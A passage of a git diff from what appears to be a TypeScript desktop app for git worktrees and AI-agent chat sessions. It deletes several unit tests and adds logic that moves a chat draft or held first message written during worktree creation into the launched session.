(!theme) { + return null + } + const name = getFilename(folderPath).toLowerCase() + const named = (entries: Partial>) => + name ? ownIconIndex(entries, name) : null + return ( + (open + ? (named(theme.folderNamesExpanded) ?? ownIconIndex(theme.icons, 'folder-open')) + : null) ?? + named(theme.folderNames) ?? + ownIconIndex(theme.icons, 'folder') + ) +} diff --git a/src/renderer/src/lib/gitlab-work-item-source-lookup.test.ts b/src/renderer/src/lib/gitlab-work-item-source-lookup.test.ts deleted file mode 100644 index 680d243902e..00000000000 --- a/src/renderer/src/lib/gitlab-work-item-source-lookup.test.ts +++ /dev/null @@ -1,191 +0,0 @@ -import { beforeEach, describe, expect, it, vi } from 'vitest' -import { callRuntimeRpc } from '@/runtime/runtime-rpc-client' -import type * as RuntimeRpcClient from '@/runtime/runtime-rpc-client' -import { - listGitLabWorkItemsForSource, - lookupGitLabWorkItemByPathForSource -} from './gitlab-work-item-source-lookup' -import type { GitLabPagedResult, GitLabWorkItem } from '../../../shared/gitlab-types' -import type { TaskSourceContext } from '../../../shared/task-source-context' - -vi.mock('@/runtime/runtime-rpc-client', async () => { - const actual = await vi.importActual('@/runtime/runtime-rpc-client') - return { - ...actual, - callRuntimeRpc: vi.fn() - } -}) - -function gitlabItem(overrides: Partial = {}): GitLabWorkItem { - return { - id: 'gitlab-mr-7', - type: 'mr', - number: 7, - title: 'Runtime MR', - state: 'opened', - url: 'https://gitlab.com/acme/app/-/merge_requests/7', - labels: [], - updatedAt: '2026-01-01T00:00:00.000Z', - author: null, - repoId: 'runtime-repo', - ...overrides - } -} - -const runtimeSourceContext: TaskSourceContext = { - kind: 'task-source', - provider: 'gitlab', - projectId: 'project-1', - hostId: 'runtime:env-1', - repoId: 'runtime-repo' -} - -describe('GitLab source lookup routing', () => { - beforeEach(() => { - vi.mocked(callRuntimeRpc).mockReset() - vi.stubGlobal('window', { - api: { - gl: { - workItemByPath: vi.fn(), - listWorkItems: vi.fn() - } - } - }) - }) - - it('routes runtime-owned GitLab URL lookup through runtime RPC', async () => { - vi.mocked(callRuntimeRpc).mockResolvedValue(gitlabItem({ repoId: 'runtime-returned' })) - - await expect( - lookupGitLabWorkItemByPathForSource({ - repoPath: '/workspace/app', - repoId: 'renderer-repo', - sourceContext: runtimeSourceContext, - host: 'gitlab.com', - path: 'acme/app', - iid: 7, - type: 'mr' - }) - ).resolves.toMatchObject({ repoId: 'renderer-repo', number: 7 }) - - expect(callRuntimeRpc).toHaveBeenCalledWith( - { kind: 'environment', environmentId: 'env-1' }, - 'gitlab.workItemByPath', - expect.objectContaining({ - repo: 'id:runtime-repo', - host: 'gitlab.com', - path: 'acme/app', - iid: 7, - type: 'mr' - }), - { timeoutMs: 30_000 } - ) - expect(window.api.gl.workItemByPath).not.toHaveBeenCalled() - }) - - it('routes runtime-owned GitLab work item lists through runtime RPC', async () => { - const result: GitLabPagedResult = { - items: [gitlabItem({ repoId: 'runtime-returned' })], - page: 3, - perPage: 1, - totalCount: 0, - totalPages: 4 - } - vi.mocked(callRuntimeRpc).mockResolvedValue(result) - - await expect( - listGitLabWorkItemsForSource({ - repoPath: '/workspace/app', - repoId: 'renderer-repo', - sourceContext: runtimeSourceContext, - state: 'opened', - page: 3, - perPage: 1, - query: 'fix login' - }) - ).resolves.toEqual({ ...result, items: [gitlabItem({ repoId: 'renderer-repo' })] }) - - // Forward the query through runtime RPC or GitLab search would return unfiltered results (#6263). - expect(callRuntimeRpc).toHaveBeenCalledWith( - { kind: 'environment', environmentId: 'env-1' }, - 'gitlab.listWorkItems', - expect.objectContaining({ - repo: 'id:runtime-repo', - state: 'opened', - page: 3, - perPage: 1, - query: 'fix login' - }), - { timeoutMs: 30_000 } - ) - expect(window.api.gl.listWorkItems).not.toHaveBeenCalled() - }) - - it('forwards the search query to local GitLab work item lists over Electron IPC', async () => { - const localSourceContext: TaskSourceContext = { - ...runtimeSourceContext, - hostId: 'local', - repoId: 'local-repo' - } - const result = { - items: [gitlabItem({ repoId: 'local-returned' })], - page: 3, - perPage: 1, - totalCount: 0, - totalPages: 4 - } - vi.mocked(window.api.gl.listWorkItems).mockResolvedValue(result) - - await expect( - listGitLabWorkItemsForSource({ - repoPath: '/workspace/app', - repoId: 'local-repo', - sourceContext: localSourceContext, - state: 'opened', - page: 3, - perPage: 1, - query: 'fix login' - }) - ).resolves.toEqual({ ...result, items: [gitlabItem({ repoId: 'local-repo' })] }) - - expect(window.api.gl.listWorkItems).toHaveBeenCalledWith({ - repoPath: '/workspace/app', - repoId: 'local-repo', - sourceContext: localSourceContext, - state: 'opened', - page: 3, - perPage: 1, - query: 'fix login' - }) - expect(callRuntimeRpc).not.toHaveBeenCalled() - }) - - it('keeps local GitLab lookups on Electron IPC with source context', async () => { - vi.mocked(window.api.gl.workItemByPath).mockResolvedValue( - gitlabItem({ repoId: 'local-returned' }) - ) - - await expect( - lookupGitLabWorkItemByPathForSource({ - repoPath: '/workspace/app', - repoId: 'local-repo', - sourceContext: { ...runtimeSourceContext, hostId: 'local', repoId: 'local-repo' }, - host: 'gitlab.com', - path: 'acme/app', - iid: 7, - type: 'mr' - }) - ).resolves.toMatchObject({ repoId: 'local-repo', number: 7 }) - - expect(window.api.gl.workItemByPath).toHaveBeenCalledWith({ - repoPath: '/workspace/app', - repoId: 'local-repo', - sourceContext: { ...runtimeSourceContext, hostId: 'local', repoId: 'local-repo' }, - host: 'gitlab.com', - path: 'acme/app', - iid: 7, - type: 'mr' - }) - expect(callRuntimeRpc).not.toHaveBeenCalled() - }) -}) diff --git a/src/renderer/src/lib/hosted-review-repo-read.ts b/src/renderer/src/lib/hosted-review-repo-read.ts index 7367f5d527e..35ce4693cbf 100644 --- a/src/renderer/src/lib/hosted-review-repo-read.ts +++ b/src/renderer/src/lib/hosted-review-repo-read.ts @@ -6,7 +6,10 @@ import type { Repo } from '../../../shared/repo-types' export function readHostedReviewForRepo( repo: Repo, - query: Omit + query: Omit< + HostedReviewForBranchArgs, + 'repoPath' | 'repoId' | 'repoOwnerExecutionHostId' | 'reportReadOutcome' + > ): Promise { const args = { ...query, repoPath: repo.path, repoId: repo.id } const target = hostedReviewRepoOwnerTarget(repo) diff --git a/src/renderer/src/lib/pane-manager/pane-cursor-blink-suspension.test.ts b/src/renderer/src/lib/pane-manager/pane-cursor-blink-suspension.test.ts index fbd4da81a47..7a3fb517dac 100644 --- a/src/renderer/src/lib/pane-manager/pane-cursor-blink-suspension.test.ts +++ b/src/renderer/src/lib/pane-manager/pane-cursor-blink-suspension.test.ts @@ -216,58 +216,4 @@ describe('hidden-pane cursor blink suspension', () => { await nextFrame() expect(rendersBlinkingCursor(pane), 'the new setting applies on reveal').toBe(true) }) - - it('resume is a no-op for a pane that was never suspended', async () => { - const pane = createTestPane() - await flushRender() - await reveal([pane]) - await nextFrame() - expect(rendersBlinkingCursor(pane)).toBe(true) - }) -}) - -/** Model addon-webgl 0.20’s 600ms document-focused timer, which redraws a full row per tick; DEC cursor mode overrides cursorBlink options. Read effective state from the real Terminal. */ -const BLINK_INTERVAL_MS = 600 - -function blinkCellsRedrawnPerWindow(terminal: Terminal, windowMs: number): number { - const decPrivateBlink = ( - terminal as unknown as { - _core: { coreService: { decPrivateModes: { cursorBlink?: boolean } } } - } - )._core.coreService.decPrivateModes.cursorBlink - const blinking = decPrivateBlink ?? terminal.options.cursorBlink === true - if (!blinking) { - return 0 - } - return Math.floor(windowMs / BLINK_INTERVAL_MS) * terminal.cols -} - -describe('hidden-pane cursor blink redraw cost', () => { - beforeEach(() => { - resetHiddenWebglRetentionForTest() - vi.spyOn(HTMLCanvasElement.prototype, 'getContext').mockReturnValue({ - measureText: () => ({ width: 10 }) - } as unknown as CanvasRenderingContext2D) - }) - - afterEach(() => { - vi.restoreAllMocks() - document.body.replaceChildren() - }) - - it('drops retained hidden panes to zero blink redraws and restores them on reveal', async () => { - const owner = {} - const panes = Array.from({ length: 6 }, () => createTestPane({ webglAddon: true })) - const windowMs = 30_000 - const cells = () => - panes.reduce((sum, pane) => sum + blinkCellsRedrawnPerWindow(pane.terminal, windowMs), 0) - - expect(cells()).toBe(6 * 50 * COLS) - - suspendPaneRendering(panes, { owner, livePanes: () => panes }) - expect(cells(), 'hidden panes must cost nothing while the window is visible').toBe(0) - - await reveal(panes, owner) - expect(cells()).toBe(6 * 50 * COLS) - }) }) diff --git a/src/renderer/src/lib/pane-manager/pane-terminal-output-scheduler-backlog-cap.test.ts b/src/renderer/src/lib/pane-manager/pane-terminal-output-scheduler-backlog-cap.test.ts index 688c136f385..c8c8b60a358 100644 --- a/src/renderer/src/lib/pane-manager/pane-terminal-output-scheduler-backlog-cap.test.ts +++ b/src/renderer/src/lib/pane-manager/pane-terminal-output-scheduler-backlog-cap.test.ts @@ -70,26 +70,6 @@ describe('pane terminal output scheduler', () => { expect(output).not.toContain('x'.repeat(1024)) }) - it('records a drop breadcrumb with sizes when the cap replaces a backlog', async () => { - vi.useFakeTimers() - const { writeTerminalOutput } = await loadScheduler() - const terminal = createTerminal() - const chunk = 'x'.repeat(512 * 1024) - - for (let i = 0; i < 5; i++) { - writeTerminalOutput(terminal, chunk, { foreground: false }) - } - - expect(mocks.recordRendererCrashBreadcrumb).toHaveBeenCalledWith( - 'terminal_output_backlog_dropped', - expect.objectContaining({ - foreground: false, - droppedChars: expect.any(Number), - capChars: 2 * 1024 * 1024 - }) - ) - }) - it('scales the backlog cap with the scrollback setting', async () => { vi.useFakeTimers() const { writeTerminalOutput, configureTerminalOutputBacklogCap } = await loadScheduler() diff --git a/src/renderer/src/lib/pending-worktree-creation.ts b/src/renderer/src/lib/pending-worktree-creation.ts index 5d8b418b09a..a57a559fee8 100644 --- a/src/renderer/src/lib/pending-worktree-creation.ts +++ b/src/renderer/src/lib/pending-worktree-creation.ts @@ -133,9 +133,55 @@ export type PendingWorktreeCreation = { provisioningLog?: string // Local git checkout meter; absent when git emits none or creation runs over SSH/runtime. checkoutProgress?: WorktreeCheckoutProgress + /** Phases entered so far with their start times, so the chat checklist can time each step. */ + phaseLog?: readonly { phase: WorktreeCreationPhase; at: number }[] + /** Chat message sent before the worktree existed; the chat launch delivers it as its first message. */ + heldChatMessage?: string request: WorktreeCreationRequest } +/** Draft scope of the chat composer shown while this creation has no workspace yet. */ +export function pendingCreationChatDraftScopeKey(creationId: string): string { + return `pending-worktree-creation:${creationId}` +} + +/** The first message this creation's chat will send: one sent while pending, else the composer's auto-submit prompt. */ +export function pendingCreationHeldChatMessage( + entry: Pick +): string | null { + if (entry.heldChatMessage) { + return entry.heldChatMessage + } + const { quickPrompt, promptDelivery } = entry.request + return promptDelivery !== 'draft' && quickPrompt.trim() ? quickPrompt : null +} + +/** The pending chat surface owns the first message and draft; hand both to the chat launch. */ +export function withPendingChatInput( + entry: PendingWorktreeCreation | undefined, + request: WorktreeCreationRequest +): WorktreeCreationRequest { + if (!entry || !pendingCreationOpensNativeChat({ phase: entry.phase, request })) { + return request + } + const held = pendingCreationHeldChatMessage({ ...entry, request }) + // The draft prompt was seeded into the pending composer, whose draft the launch moves over. + const { launchDraftPrompt: _seeded, ...rest } = request + return { ...rest, quickPrompt: held ?? '', promptDelivery: 'auto-submit' } +} + +/** True when this creation ends in a native chat, so its pending surface is the chat itself. */ +export function pendingCreationOpensNativeChat( + entry: Pick +): boolean { + return ( + entry.request.agentLaunchRoute === 'structured-native-chat' && + entry.request.agent !== null && + entry.phase !== 'provisioning-vm' && + !entry.request.ephemeralVmRecipe + ) +} + export function findPendingWorktreeCreationId( pendingCreations: Readonly> | undefined, worktreeId: string | null diff --git a/src/renderer/src/lib/react-commit-cascade-observer.react185.test.tsx b/src/renderer/src/lib/react-commit-cascade-observer.react185.test.tsx index ebc8bff2b26..60d66b0776f 100644 --- a/src/renderer/src/lib/react-commit-cascade-observer.react185.test.tsx +++ b/src/renderer/src/lib/react-commit-cascade-observer.react185.test.tsx @@ -27,9 +27,6 @@ vi.mock('@/lib/crash-breadcrumb-recorder', () => ({ recordRendererCrashBreadcrumb: (name: string, data?: unknown) => recordBreadcrumb(name, data) })) -// Allow the measured 438-byte single-driver sample but reject raw stacks/uncapped keys; production bundle basenames are shorter. -const MAX_CASCADE_CRUMB_BYTES = 768 - /** Enough to pass the notice limit while staying under React's own 50-commit bail. */ const CASCADE_TICKS = REACT_COMMIT_CASCADE_NOTICE_LIMIT + 5 @@ -132,18 +129,6 @@ describe('react commit cascade observer', () => { expect(invocationsAtReport).toBe(REACT_COMMIT_CASCADE_NOTICE_LIMIT) }) - // A stack-suffixed key allows 4000 chars; enforce bytes explicitly to reject raw stacks or uncapped key lists. - it('keeps the crumb inside a flat byte budget', () => { - act(() => { - root.render() - }) - - const payload = recordBreadcrumb.mock.calls.find( - ([name]) => name === REACT_COMMIT_CASCADE_BREADCRUMB - )?.[1] - expect(JSON.stringify(payload).length).toBeLessThan(MAX_CASCADE_CRUMB_BYTES) - }) - it('stays silent for a render that settles well below the notice limit', () => { useCascadeStore.setState({ ticks: CASCADE_TICKS }) diff --git a/src/renderer/src/lib/structured-agent-session-launch-callers.ts b/src/renderer/src/lib/structured-agent-session-launch-callers.ts index 078497c08ce..591455ac215 100644 --- a/src/renderer/src/lib/structured-agent-session-launch-callers.ts +++ b/src/renderer/src/lib/structured-agent-session-launch-callers.ts @@ -21,6 +21,8 @@ export type StructuredAgentLaunchOptions = { onPromptDelivered?: () => void /** The caller keeps the prompt's text if it does not go out (notes), so no composer gets it. */ promptKeptByCaller?: true + /** An unsent composer draft that moves into this chat once its session exists. */ + draftFromScope?: string // Conversation adoption is launch identity, not a preference; see launchIdentity. resumeFrom?: StructuredAgentSessionResumeSource /** The host the route decided on; read only by the caller that starts the launch. */ diff --git a/src/renderer/src/lib/structured-agent-session-launch-draft.test.ts b/src/renderer/src/lib/structured-agent-session-launch-draft.test.ts index eafce383b31..d4848a7ac3a 100644 --- a/src/renderer/src/lib/structured-agent-session-launch-draft.test.ts +++ b/src/renderer/src/lib/structured-agent-session-launch-draft.test.ts @@ -105,4 +105,23 @@ describe('structured launch draft persistence', () => { expect(composerDraft(launch.sessionId)).toBe('') } ) + + it('moves a draft written before the chat existed into the new chat', async () => { + setNativeChatComposerDraftStorageForTests(createMemoryNativeChatComposerDraftStorage()) + const intent = launchIntent('created-worktree', 'moved-draft-session') + mocks.createIntent.mockReturnValueOnce(intent) + mocks.launch.mockResolvedValue({ sessionId: intent.sessionId, fence: 1 }) + updateNativeChatComposerDraft('pending-chat', { text: 'and add a test' }, 'immediate') + + const launch = startStructuredAgentLaunch(intent.worktreeId, 'claude', { + requestId: 'request-2', + prompt: 'fix the bug', + promptDelivery: 'auto-submit', + draftFromScope: 'pending-chat' + }) + await launch.launchResult + + expect(composerDraft(launch.sessionId)).toBe('and add a test') + expect(readNativeChatComposerDraft('pending-chat').text).toBe('') + }) }) diff --git a/src/renderer/src/lib/structured-agent-session-launch-draft.ts b/src/renderer/src/lib/structured-agent-session-launch-draft.ts index dc693633374..a6280dc8cdb 100644 --- a/src/renderer/src/lib/structured-agent-session-launch-draft.ts +++ b/src/renderer/src/lib/structured-agent-session-launch-draft.ts @@ -1,10 +1,12 @@ import { structuredAgentSessionTabId } from '../../../shared/structured-agent-session-projection' import { findStructuredLaunchTab } from './structured-agent-session-launch-surface' import { + deleteNativeChatComposerDraft, readNativeChatComposerDraft, structuredAgentSessionDraftScopeKey, updateNativeChatComposerDraft } from '@/components/native-chat/native-chat-composer-draft-store' +import type { NativeChatComposerDraftChange } from '@/components/native-chat/native-chat-composer-draft-store' import { promptTextContent } from '@/components/native-chat/native-chat-prompt-document-text' import type { StructuredAgentLaunchOptions } from './structured-agent-session-launch-callers' import type { StructuredLaunchState } from './agent-session/launch/structured-agent-session-launch-registry' @@ -13,19 +15,41 @@ export function seedStructuredAgentLaunchDraft( state: StructuredLaunchState, options: StructuredAgentLaunchOptions ): void { + if (options.draftFromScope) { + const source = readNativeChatComposerDraft(options.draftFromScope) + const { text, document, pastedTextFiles, images } = source + const moved = + (text !== '' || images.length > 0) && + seedEmptyLaunchDraft(state, { + text, + images, + ...(document ? { document } : {}), + ...(pastedTextFiles ? { pastedTextFiles } : {}) + }) + // An occupied chat draft keeps the source, so the text is never dropped. + if (moved || (text === '' && images.length === 0)) { + deleteNativeChatComposerDraft(options.draftFromScope) + } + } if (options.promptDelivery !== 'draft' || !options.prompt) { return } + seedEmptyLaunchDraft(state, { text: options.prompt, document: promptTextContent(options.prompt) }) +} + +function seedEmptyLaunchDraft( + state: StructuredLaunchState, + change: NativeChatComposerDraftChange +): boolean { const { sessionId, worktreeId, executionHostId } = state.intent const scopeKey = structuredAgentSessionDraftScopeKey(sessionId) const current = readNativeChatComposerDraft(scopeKey) if (current.text !== '' || current.document) { - return + return false } - const document = promptTextContent(options.prompt) updateNativeChatComposerDraft( scopeKey, - { text: options.prompt, document, owner: { workspaceId: worktreeId, executionHostId } }, + { ...change, owner: { workspaceId: worktreeId, executionHostId } }, 'immediate', undefined, { @@ -34,4 +58,5 @@ export function seedStructuredAgentLaunchDraft( pending: true } ) + return true } diff --git a/src/renderer/src/lib/structured-agent-session-launch-options.ts b/src/renderer/src/lib/structured-agent-session-launch-options.ts index 0b1e2f435e0..554b9883924 100644 --- a/src/renderer/src/lib/structured-agent-session-launch-options.ts +++ b/src/renderer/src/lib/structured-agent-session-launch-options.ts @@ -3,6 +3,7 @@ import { type LegacyPrerequisites } from './structured-agent-session-launch-prerequisites' import { useSyncExternalStore } from 'react' +import { acceptedStructuredSessionSelectionOutcome } from '../../../shared/structured-agent-session-options-write-owner' import { structuredSessionSelectionController } from './structured-agent-session-selection-controller' import type { SelectionOperation, @@ -141,7 +142,7 @@ export async function setStructuredSessionSelectionOption( options ) return result.ok - ? { kind: 'accepted', options: result.value.options ?? { [key]: value } } + ? acceptedStructuredSessionSelectionOutcome(fields, result.value.options) : { kind: 'refused', failure: agentSessionRefusalFailure(result.refusal) } } catch (error) { const failure = agentSessionThrownFailure( diff --git a/src/renderer/src/lib/structured-agent-session-selection-lifetime.test.tsx b/src/renderer/src/lib/structured-agent-session-selection-lifetime.test.tsx index 6148fec18f4..e27b9e4efc7 100644 --- a/src/renderer/src/lib/structured-agent-session-selection-lifetime.test.tsx +++ b/src/renderer/src/lib/structured-agent-session-selection-lifetime.test.tsx @@ -184,7 +184,8 @@ it.each([false, true])( unloadedTurnRevisions: undefined }) ) - expect(reads).toHaveLength(1) + // The read starts one microtask after its attach, from the shared queue. + await waitFor(() => expect(reads).toHaveLength(1)) const capture = () => { const source = hook.result.current.sendSource const view = source.optionView(source.optionStateRef.current, seed) diff --git a/src/renderer/src/lib/text-control-paste.test.ts b/src/renderer/src/lib/text-control-paste.test.ts index 942bd92c69b..ced5926c597 100644 --- a/src/renderer/src/lib/text-control-paste.test.ts +++ b/src/renderer/src/lib/text-control-paste.test.ts @@ -2,11 +2,7 @@ import { afterEach, describe, expect, it, vi } from 'vitest' import { PASTE_PAYLOAD_CORPUS } from './paste-payload-corpus' -import { - measureTextControlPasteByteLength, - pasteTextIntoTextControl, - shouldHandleTextControlPaste -} from './text-control-paste' +import { measureTextControlPasteByteLength, pasteTextIntoTextControl } from './text-control-paste' function appendTextarea(value = ''): HTMLTextAreaElement { const textarea = document.createElement('textarea') @@ -107,20 +103,6 @@ describe('text control paste', () => { expect(textarea.value).toBe(text) }) - it('does not split surrogate pairs across chunks', async () => { - const textarea = appendTextarea() - const text = 'a😀b😀c' - - const result = await pasteTextIntoTextControl(textarea, text, { - directMaxBytes: 2, - chunkMaxBytes: 5, - yieldToEventLoop: async () => {} - }) - - expect(result.status).toBe('pasted') - expect(textarea.value).toBe(text) - }) - it('rejects unavailable text controls without mutating them', async () => { const textarea = appendTextarea('unchanged') const disabled = appendTextarea('disabled') @@ -249,13 +231,6 @@ describe('text control paste', () => { expect(events).toHaveLength(0) }) - it('uses utf-8 byte thresholds for non-ascii text', () => { - expect(measureTextControlPasteByteLength('a😀é').byteLength).toBe(7) - expect(shouldHandleTextControlPaste('😀😀', { directMaxBytes: 7 })).toBe(true) - expect(shouldHandleTextControlPaste('abc', { directMaxBytes: 7 })).toBe(false) - expect(shouldHandleTextControlPaste('', { directMaxBytes: 0 })).toBe(false) - }) - it('can stop measuring text-control paste once the limit is exceeded', () => { const measurement = measureTextControlPasteByteLength('😀'.repeat(100), { stopAfterBytes: 5 diff --git a/src/renderer/src/lib/worktree-creation-flow-dedupe.test.ts b/src/renderer/src/lib/worktree-creation-flow-dedupe.test.ts deleted file mode 100644 index 1d1e656badd..00000000000 --- a/src/renderer/src/lib/worktree-creation-flow-dedupe.test.ts +++ /dev/null @@ -1,113 +0,0 @@ -import { beforeEach, describe, expect, it, vi } from 'vitest' -import type { - PendingWorktreeCreation, - WorktreeCreationRequest -} from '@/lib/pending-worktree-creation' - -const store = { - settings: { - activeRuntimeEnvironmentId: null as string | null - }, - pendingWorktreeCreations: {} as Record, - beginPendingWorktreeCreation: vi.fn(), - setActivePendingWorktreeCreation: vi.fn(), - setActiveView: vi.fn(), - setSidebarOpen: vi.fn(), - createWorktree: vi.fn() -} - -vi.mock('@/store', () => ({ - useAppStore: { - getState: () => store - } -})) - -vi.mock('@/lib/browser-uuid', () => ({ - createBrowserUuid: () => 'creation-new' -})) - -vi.mock('@/lib/worktree-activation', () => ({ - activateAndRevealWorktree: vi.fn() -})) - -vi.mock('@/lib/worktree-initial-terminal-seeding', () => ({ - ensureWorktreeHasInitialTerminal: vi.fn() -})) - -vi.mock('@/lib/workspace-activation-terminal-focus', () => ({ - queueWorkspaceActivationTerminalFocus: vi.fn() -})) - -vi.mock('@/lib/new-workspace', () => ({ - ensureAgentStartupInTerminal: vi.fn() -})) - -vi.mock('sonner', () => ({ - toast: { error: vi.fn(), success: vi.fn() } -})) - -vi.mock('@/lib/ephemeral-vm-workspace-target', () => ({ - prepareEphemeralVmWorkspaceTarget: vi.fn() -})) - -import { runBackgroundWorktreeCreation } from './worktree-creation-flow' - -function makeRequest(overrides: Partial = {}): WorktreeCreationRequest { - return { - repoId: 'repo-1', - name: 'feature', - setupDecision: 'inherit', - agent: null, - pendingFirstAgentMessageRename: false, - note: '', - startupPlan: null, - quickPrompt: '', - quickTelemetry: null, - ...overrides - } -} - -function makePendingCreation(request: WorktreeCreationRequest): PendingWorktreeCreation { - return { - creationId: 'existing', - phase: 'preparing', - status: 'creating', - startedAt: 1, - indeterminate: false, - loaderVisible: true, - request - } -} - -describe('runBackgroundWorktreeCreation linked-item dedupe', () => { - beforeEach(() => { - vi.clearAllMocks() - store.pendingWorktreeCreations = {} - }) - - it('reveals an existing linked-item creation instead of starting a duplicate', () => { - const linkedRequest = makeRequest({ - linkedIssue: 42, - workspaceRunContext: { - kind: 'workspace-run', - projectId: 'project-1', - hostId: 'ssh:server', - projectHostSetupId: 'setup-1', - repoId: 'repo-1', - path: '/repo' - } - }) - store.pendingWorktreeCreations = { - existing: makePendingCreation(linkedRequest) - } - - const creationId = runBackgroundWorktreeCreation(linkedRequest) - - expect(creationId).toBe('existing') - expect(store.setActivePendingWorktreeCreation).toHaveBeenCalledWith('existing') - expect(store.setActiveView).toHaveBeenCalledWith('terminal') - expect(store.setSidebarOpen).toHaveBeenCalledWith(true) - expect(store.beginPendingWorktreeCreation).not.toHaveBeenCalled() - expect(store.createWorktree).not.toHaveBeenCalled() - }) -}) diff --git a/src/renderer/src/lib/worktree-creation-flow.ts b/src/renderer/src/lib/worktree-creation-flow.ts index d838f207a81..040d24c6c11 100644 --- a/src/renderer/src/lib/worktree-creation-flow.ts +++ b/src/renderer/src/lib/worktree-creation-flow.ts @@ -2,9 +2,12 @@ import { toast } from 'sonner' import { useAppStore } from '@/store' import { findPendingLinkedWorkItemCreationId, + pendingCreationChatDraftScopeKey, type WorktreeCreationPhase, type WorktreeCreationRequest } from '@/lib/pending-worktree-creation' +import { updateNativeChatComposerDraft } from '@/components/native-chat/native-chat-composer-draft-store' +import { promptTextContent } from '@/components/native-chat/native-chat-prompt-document-text' import { createBrowserUuid } from '@/lib/browser-uuid' import { executeWorktreeCreation } from '@/lib/worktree-creation-flow-execute' import { @@ -37,6 +40,28 @@ function startWorktreeCreation(creationId: string, request: WorktreeCreationRequ }) } +// The chat composer shows before the worktree exists, so a linked item's draft starts there. +function seedPendingChatDraft( + creationId: string, + request: WorktreeCreationRequest, + prior?: WorktreeCreationRequest +): void { + const draft = request.launchDraftPrompt + if ( + !draft || + draft === prior?.launchDraftPrompt || + request.promptDelivery !== 'draft' || + request.agentLaunchRoute !== 'structured-native-chat' + ) { + return + } + updateNativeChatComposerDraft( + pendingCreationChatDraftScopeKey(creationId), + { text: draft, document: promptTextContent(draft) }, + 'immediate' + ) +} + function revealPendingCreation( creationId: string, request: WorktreeCreationRequest, @@ -54,6 +79,7 @@ function revealPendingCreation( loaderVisible: true, request }) + seedPendingChatDraft(creationId, request) // Creation UI renders only in terminal view; activate it before publishing the panel. store.setActiveView('terminal') store.setSidebarOpen(true) @@ -93,9 +119,11 @@ export function continueBackgroundWorktreeCreation( options: ContinueBackgroundWorktreeCreationOptions = {} ): boolean { const store = useAppStore.getState() - if (!store.pendingWorktreeCreations[creationId]) { + const staged = store.pendingWorktreeCreations[creationId] + if (!staged) { return false } + seedPendingChatDraft(creationId, request, staged.request) // Remote creates emit no phases; use captured submit-owner progress mode so Retry cannot change with focused runtime. store.updatePendingWorktreeCreation(creationId, { phase: getInitialWorktreeCreationPhase(request), diff --git a/src/renderer/src/lib/worktree-creation-structured-session.test.ts b/src/renderer/src/lib/worktree-creation-structured-session.test.ts index ddea390f87f..accf26a888e 100644 --- a/src/renderer/src/lib/worktree-creation-structured-session.test.ts +++ b/src/renderer/src/lib/worktree-creation-structured-session.test.ts @@ -5,6 +5,7 @@ type PendingCreationListener = (state: PendingCreationState) => void type BeginArgs = { beforeOpen?: (sessionId: string) => boolean | void hooks?: { signal?: AbortSignal } + plan?: { prompt?: string; promptDelivery?: string; draftFromScope?: string } } const mocks = vi.hoisted(() => { let listener: PendingCreationListener | null = null @@ -133,4 +134,35 @@ describe('launchStructuredWorktreeSession', () => { expect(mocks.unsubscribe).toHaveBeenCalled() consoleError.mockRestore() }) + + it('sends what the user wrote while the worktree was created as the first message', async () => { + mocks.state.pendingWorktreeCreations = { + 'creation-1': { phase: 'creating', heldChatMessage: 'Add a test', request } + } + + await launchStructuredWorktreeSession(baseArgs) + + expect(mocks.beginStructuredAgentSessionProvisionalLaunch.mock.calls[0][0].plan).toMatchObject({ + prompt: 'Add a test', + promptDelivery: 'auto-submit', + draftFromScope: 'pending-worktree-creation:creation-1' + }) + }) + + it('leaves a linked item draft to the pending composer draft the launch moves over', async () => { + const linked = { + ...request, + quickPrompt: '', + launchDraftPrompt: 'Issue #12', + promptDelivery: 'draft' as const + } + mocks.state.pendingWorktreeCreations = { 'creation-1': { phase: 'creating', request: linked } } + + await launchStructuredWorktreeSession({ ...baseArgs, request: linked }) + + expect(mocks.beginStructuredAgentSessionProvisionalLaunch.mock.calls[0][0].plan).toMatchObject({ + prompt: '', + draftFromScope: 'pending-worktree-creation:creation-1' + }) + }) }) diff --git a/src/renderer/src/lib/worktree-creation-structured-session.ts b/src/renderer/src/lib/worktree-creation-structured-session.ts index 93a0f6b9b8a..a77bab9d4ad 100644 --- a/src/renderer/src/lib/worktree-creation-structured-session.ts +++ b/src/renderer/src/lib/worktree-creation-structured-session.ts @@ -2,7 +2,11 @@ import { useAppStore } from '@/store' import { activateAndRevealWorktree, type ActivateAndRevealResult } from '@/lib/worktree-activation' import { adoptAgentSessionLaunchVerdict } from '@/lib/agent-session-launch-plan' import type { AgentLaunchRoute } from '@/lib/agent-launch-routing' -import type { WorktreeCreationRequest } from '@/lib/pending-worktree-creation' +import { + pendingCreationChatDraftScopeKey, + withPendingChatInput, + type WorktreeCreationRequest +} from '@/lib/pending-worktree-creation' import { beginStructuredAgentSessionProvisionalLaunch } from '@/lib/agent-session/structured-agent-session-provisional-tab' import type { StructuredLaunchTerminal } from '@/lib/structured-agent-session-launch-admission' import { buildWorktreeCreationStartupOpt } from '@/lib/worktree-creation-flow-startup' @@ -32,9 +36,15 @@ type LaunchStructuredWorktreeSessionArgs = { /** Host-declined chats keep background creates in place without navigation (#23974); still-visible creates use normal agent-tab fallback. */ function openBackgroundDeclinedTerminal( args: LaunchStructuredWorktreeSessionArgs, - host: RuntimeClientTarget + host: RuntimeClientTarget, + heldChatMessage: string | undefined ): StructuredLaunchTerminal { - const startup = buildWorktreeCreationStartupOpt(args.request, false) + const built = buildWorktreeCreationStartupOpt(args.request, false) + // The submit-time plan never saw a message sent while the worktree was created; leave it unsent in the agent's input. + const startup = + built && heldChatMessage && !built.draftPrompt + ? { ...built, draftPrompt: heldChatMessage } + : built if (host.kind === 'environment') { ensureWebRuntimeWorktreeTerminalAfterWake(args.worktreeId, { startup, @@ -75,14 +85,19 @@ export async function launchStructuredWorktreeSession( if (isCancelled()) { return { ...settled, cancelled: true, activation, primaryTabId } } + // Read at launch, not submit: the user may have written or sent in the chat while git worked. + const pending = useAppStore.getState().pendingWorktreeCreations[args.creationId] + const request = withPendingChatInput(pending, args.request) // Reuse composer-fixed route/delivery through retries; later host changes must not re-resolve this create. const plan = adoptAgentSessionLaunchVerdict({ route: args.agentLaunchRoute, // One create is one user action: a retry of it re-delivers the same request. requestId: args.creationId, agent, - prompt: args.request.launchDraftPrompt ?? args.request.quickPrompt, - ...(args.request.promptDelivery ? { promptDelivery: args.request.promptDelivery } : {}) + prompt: request.launchDraftPrompt ?? request.quickPrompt, + ...(request.promptDelivery ? { promptDelivery: request.promptDelivery } : {}), + // What the user left unsent in the chat shown while the worktree was created. + draftFromScope: 